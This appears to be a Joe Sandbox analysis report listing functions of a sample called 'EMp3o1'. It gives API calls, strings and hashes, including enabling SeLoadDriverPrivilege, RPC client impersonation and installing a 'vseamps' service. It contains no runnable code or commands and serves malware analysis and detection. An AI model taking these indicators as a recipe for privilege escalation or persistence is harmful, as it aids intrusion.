Function 00007FFDAC081C00 Relevance: 12.2, APIs: 8, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFDAC081C28
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFDAC081C7A
_RTC_Initialize.LIBCMT ref: 00007FFDAC081CA8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFDAC081CCE
__scrt_release_startup_lock.LIBCMT ref: 00007FFDAC081CF9

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction ID: a88c03ec6f5a3843c6c2ee121b543a86e3ac25708fb450e34b736c60c6a0aca1
Opcode Fuzzy Hash: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction Fuzzy Hash: 8381BE20F0E2438AFA749B2594712793290AFA57E0F04C435EA0D57793DF3CE865A75C

Function 00007FFDAC081720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNEL32 ref: 00007FFDAC081753
FreeLibrary.KERNEL32 ref: 00007FFDAC081981

Part of subcall function 00007FFDAC081B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDAC081BC0
Part of subcall function 00007FFDAC081B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDAC081BC6

Part of subcall function 00007FFDAC081720: FindFirstFileA.KERNELBASE ref: 00007FFDAC081536

Strings

WordpadFilter.db, xrefs: 00007FFDAC081527

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Concurrency::cancel_current_taskFree$ConsoleFileFindFirstLibrary
String ID: WordpadFilter.db
API String ID: 868324331-3647581008
Opcode ID: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction ID: f08704542a4217c303a605d2e4413939a3a346744d1987f2237f607647503f11
Opcode Fuzzy Hash: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction Fuzzy Hash: 83317C32B1AB4189E710CFA1D8503AD73A5EB99798F148535EE8C13B46EF38D561C788

Function 00007FFDAC0811B0 Relevance: 3.2, APIs: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDAC0814EB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDAC0814F7

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction ID: c1c49ef173ecd2a2a18b51c334b48c9e5ad16a05a548edc4b18fc2191291e188
Opcode Fuzzy Hash: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction Fuzzy Hash: 48815E22B1A78245E6218B359410179B694FF66BE4F14C335EF5953793DF3CE0A1934C

Non-executed Functions

Function 0000000140001A30 Relevance: 37.9, APIs: 30, Instructions: 422memorystringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
EnterCriticalSection.KERNEL32 ref: 0000000140001B48
LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
EnterCriticalSection.KERNEL32 ref: 0000000140001BE6
LeaveCriticalSection.KERNEL32 ref: 0000000140001C67
EnterCriticalSection.KERNEL32 ref: 0000000140001C84
LeaveCriticalSection.KERNEL32 ref: 0000000140001D0D
lstrlenW.KERNEL32 ref: 0000000140001D1F
GetProcessHeap.KERNEL32 ref: 0000000140001D2E
HeapAlloc.KERNEL32 ref: 0000000140001D3C
EnterCriticalSection.KERNEL32 ref: 0000000140001D6F
LeaveCriticalSection.KERNEL32 ref: 0000000140001DF0
lstrlenW.KERNEL32 ref: 0000000140001DFF
GetProcessHeap.KERNEL32 ref: 0000000140001E0E
HeapAlloc.KERNEL32 ref: 0000000140001E1C
EnterCriticalSection.KERNEL32 ref: 0000000140001E4F
LeaveCriticalSection.KERNEL32 ref: 0000000140001ED0
EnterCriticalSection.KERNEL32 ref: 0000000140001EED
LeaveCriticalSection.KERNEL32 ref: 0000000140001F6E
lstrlenW.KERNEL32 ref: 0000000140001F7D
GetProcessHeap.KERNEL32 ref: 0000000140001F8C
HeapAlloc.KERNEL32 ref: 0000000140001F9A
EnterCriticalSection.KERNEL32 ref: 0000000140001FCD
LeaveCriticalSection.KERNEL32 ref: 000000014000204E
lstrlenW.KERNEL32 ref: 000000014000205D
GetProcessHeap.KERNEL32 ref: 000000014000206C
HeapAlloc.KERNEL32 ref: 000000014000207A
EnterCriticalSection.KERNEL32 ref: 00000001400020B4
LeaveCriticalSection.KERNEL32 ref: 000000014000214E

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Heap$AllocProcesslstrlen
String ID:
API String ID: 3526400053-0
Opcode ID: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction ID: dcb8fc7c666fd7128fde866f0540a8def7dae1288ec2bbf322971b46f3f62141
Opcode Fuzzy Hash: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction Fuzzy Hash: E3220F76211B4086E722DF26F840B9933A1F78CBE5F541226EB5A8B7B4DF3AC585C740

Function 0000000140003F80 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 160timeCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
OpenProcessToken.ADVAPI32 ref: 0000000140004007
GetLastError.KERNEL32 ref: 0000000140004011
LookupPrivilegeValueW.ADVAPI32 ref: 000000014000403A
AdjustTokenPrivileges.ADVAPI32 ref: 0000000140004080
GetLastError.KERNEL32 ref: 000000014000408A
CloseHandle.KERNEL32 ref: 0000000140004095
EnterCriticalSection.KERNEL32 ref: 00000001400040B3
LeaveCriticalSection.KERNEL32 ref: 000000014000412B
GetVersionExW.KERNEL32 ref: 0000000140004155
RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
RpcServerListen.RPCRT4 ref: 00000001400041D3
CreateWaitableTimerW.KERNEL32 ref: 0000000140004205
CreateEventW.KERNEL32 ref: 000000014000421C
SetWaitableTimer.KERNEL32 ref: 0000000140004289

Strings

ampStartSingletone: logging started, settins=%s, xrefs: 0000000140003FD5
SeLoadDriverPrivilege, xrefs: 000000014000402A
null, xrefs: 0000000140003FCE

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSectionServer$CreateErrorLastProcessTimerTokenWaitable$AdjustCloseContextCurrentDontEnterEventHandleInitializeLeaveListenLookupOpenPrivilegePrivilegesProtseqRegisterSerializeValueVersion
String ID: SeLoadDriverPrivilege$ampStartSingletone: logging started, settins=%s$null
API String ID: 3408796845-4213300970
Opcode ID: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction ID: 59d58333609de1a5812b0fd1fbb73637b4596d8d749a2627428b03e5fdfefd81
Opcode Fuzzy Hash: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction Fuzzy Hash: B19104B1224A4182EB12CF22F854BC633A5F78C7D4F445229FB9A4B6B4DF7AC159CB44

Function 00000001400042B0 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 59synchronizationtimethreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

Strings

ampStopSingletone: logging ended, xrefs: 00000001400043B2

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$CloseHandle$DeleteEnterLeaveServer$CancelEventListeningMgmtObjectSingleStopTerminateThreadTimerUnregisterWaitWaitable
String ID: ampStopSingletone: logging ended
API String ID: 2048888615-3533855269
Opcode ID: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction ID: 72436faa0f880f3f140bbf81e9e476d17cd4b789f208762ad84a5967a0be411a
Opcode Fuzzy Hash: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction Fuzzy Hash: 85315178221A0192EB17DF27EC94BD82361E79CBE1F455111FB0A4B2B1CF7AC5898744

Function 000000014000C3F0 Relevance: 29.0, APIs: 19, Instructions: 515COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eee3a1980859deabbe81d62853d66f73e7f8938a0b91b292409d40ad6238f27
Instruction ID: 939e1951021ac32239a98278383650b1560c4a87fea8e277fdca239b4ddbef52
Opcode Fuzzy Hash: 3eee3a1980859deabbe81d62853d66f73e7f8938a0b91b292409d40ad6238f27
Instruction Fuzzy Hash: 3022CEB2625A8086EB22CF2BF445BEA77A0F78DBC4F444116FB4A476B5DB39C445CB00

Function 0000000140001520 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32 ref: 00000001400015A4
GetLastError.KERNEL32 ref: 00000001400015B2

Part of subcall function 0000000140001430: GetModuleFileNameW.KERNEL32 ref: 000000014000145E
Part of subcall function 0000000140001430: OpenSCManagerW.ADVAPI32 ref: 000000014000146C
Part of subcall function 0000000140001430: GetLastError.KERNEL32 ref: 000000014000147A

Strings

vseamps, xrefs: 0000000140001538
/remove, xrefs: 000000014000157E
/service, xrefs: 000000014000153F

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: ErrorLastManagerOpen$FileModuleName
String ID: /remove$/service$vseamps
API String ID: 67513587-3839141145
Opcode ID: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction ID: ba5f49d8dd96f1c36e401cc1f7cdff7269c229e2e129f463089a9495e32f08e5
Opcode Fuzzy Hash: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction Fuzzy Hash: F031E9B2708B4086EB42DF67B84439AA3A1F78CBD4F480025FF5947B7AEE79C5558704

Function 000000014000F000 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 152libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F042
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F05E
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F086
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F0A5
GetProcAddress.KERNEL32 ref: 000000014000F0F3
GetProcAddress.KERNEL32 ref: 000000014000F117

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

Strings

GetActiveWindow, xrefs: 000000014000F075
USER32.DLL, xrefs: 000000014000F03B
GetProcessWindowStation, xrefs: 000000014000F10D
GetUserObjectInformationA, xrefs: 000000014000F0E9
MessageBoxA, xrefs: 000000014000F054
GetLastActivePopup, xrefs: 000000014000F094

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: AddressProc$Load$Library
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 3981747205-232180764
Opcode ID: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction ID: 2f5902004a3f6de811dc5f380475ae1a3efdd32c0186a6d00da0f9ae6c345c7d
Opcode Fuzzy Hash: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction Fuzzy Hash: FE515CB561674181FE66EB63B850BFA2290BB8D7D0F484025BF4E4BBB1EF3DC445A210

Function 00000001400022C0 Relevance: 15.1, APIs: 10, Instructions: 96threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140002315
CreateEventW.KERNEL32 ref: 0000000140002326
CreateEventW.KERNEL32 ref: 0000000140002340
CreateEventW.KERNEL32 ref: 000000014000235E
RpcImpersonateClient.RPCRT4 ref: 0000000140002372
GetCurrentThread.KERNEL32 ref: 0000000140002390
OpenThreadToken.ADVAPI32 ref: 00000001400023A7
RpcRevertToSelfEx.RPCRT4 ref: 0000000140002402

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CreateEvent$Thread$ClientCriticalCurrentImpersonateInitializeOpenRevertSectionSelfToken
String ID:
API String ID: 4284112124-0
Opcode ID: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction ID: d1cc2c0b88e239984ef66edc10b99dba483783d79de04edfe0f0364e5ac1fb7c
Opcode Fuzzy Hash: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction Fuzzy Hash: 65415D72604B408AE351CF66F88479EB7A0F78CB94F508129EB8A47B74CF79D595CB40

Function 0000000140001430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000000014000145E
OpenSCManagerW.ADVAPI32 ref: 000000014000146C
GetLastError.KERNEL32 ref: 000000014000147A
CreateServiceW.ADVAPI32 ref: 00000001400014D4
CloseServiceHandle.ADVAPI32 ref: 00000001400014E2
CloseServiceHandle.ADVAPI32 ref: 00000001400014F5

Strings

vseamps, xrefs: 00000001400014AD, 00000001400014B4

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Service$CloseHandle$CreateErrorFileLastManagerModuleNameOpen
String ID: vseamps
API String ID: 3693165506-3944098904
Opcode ID: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction ID: 61898eac7960aa5413d410c65d13376abce5a62f28ec8a6c68938921ced9de71
Opcode Fuzzy Hash: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction Fuzzy Hash: F321FCB1204B8086EB56CF66F88439A73A4F78C784F544129E7894B774DF7DC149CB00

Function 0000000140009300 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,?,00000000,00000001,000000014000961C,?,?,?,?,?,?,0000000140009131,?,?,00000001), ref: 00000001400093CF

Strings

<program name unknown>, xrefs: 00000001400093D9
Microsoft Visual C++ Runtime Library, xrefs: 00000001400094B4
..., xrefs: 0000000140009431
Runtime Error!Program: , xrefs: 000000014000938D

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction ID: eb4045a5a240d2828a775daba1198261b01968dd91f8e387fbd6cb4ec0284cf4
Opcode Fuzzy Hash: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction Fuzzy Hash: F851EFB131464042FB26DB2BB851BEA2391A78D7E0F484225BF2947AF2DF39C642C304

Function 000000014000BB70 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000BBDC
GetLastError.KERNEL32 ref: 000000014000BBEC
LCMapStringW.KERNEL32 ref: 000000014000BC5F
WideCharToMultiByte.KERNEL32 ref: 000000014000BCC8
WideCharToMultiByte.KERNEL32 ref: 000000014000BD80
LCMapStringA.KERNEL32 ref: 000000014000BDA3

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

LCMapStringA.KERNEL32 ref: 000000014000BE48
MultiByteToWideChar.KERNEL32 ref: 000000014000BEC8

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: String$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 2057259594-0
Opcode ID: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction ID: f9b9a5bb90e2e08b647a9eb75fc4ff4e18af91537db3c322e1916602633d995e
Opcode Fuzzy Hash: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction Fuzzy Hash: B6A16AB22046808AEB66DF27E8407EA77E5F74CBE8F144625FB6947BE4DB78C5408700

Function 0000000140005A70 Relevance: 12.2, APIs: 8, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0000000140005A8B
GetProcessHeap.KERNEL32 ref: 0000000140005A92
HeapAlloc.KERNEL32 ref: 0000000140005AA3
GetVersionExA.KERNEL32 ref: 0000000140005AE6
GetProcessHeap.KERNEL32 ref: 0000000140005AF0
HeapFree.KERNEL32 ref: 0000000140005AFE
GetProcessHeap.KERNEL32 ref: 0000000140005B22
HeapFree.KERNEL32 ref: 0000000140005B30

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$Process$Free$AllocInfoStartupVersion
String ID:
API String ID: 3103264659-0
Opcode ID: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction ID: 8fdcf1cc106887877eb8bf0912cd84dfc65bead55acac366e092854278e1a3ce
Opcode Fuzzy Hash: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction Fuzzy Hash: 0F7167B1604A418AF767EBA3B8557EA2291BB8D7C5F084039FB45472F2EF39C440C741

Function 00007FFDAC082630 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDAC08264C
RtlCaptureContext.KERNEL32 ref: 00007FFDAC082679
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDAC082693
RtlVirtualUnwind.KERNEL32 ref: 00007FFDAC0826D4
IsDebuggerPresent.KERNEL32 ref: 00007FFDAC082728
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDAC082745
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDAC082750

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
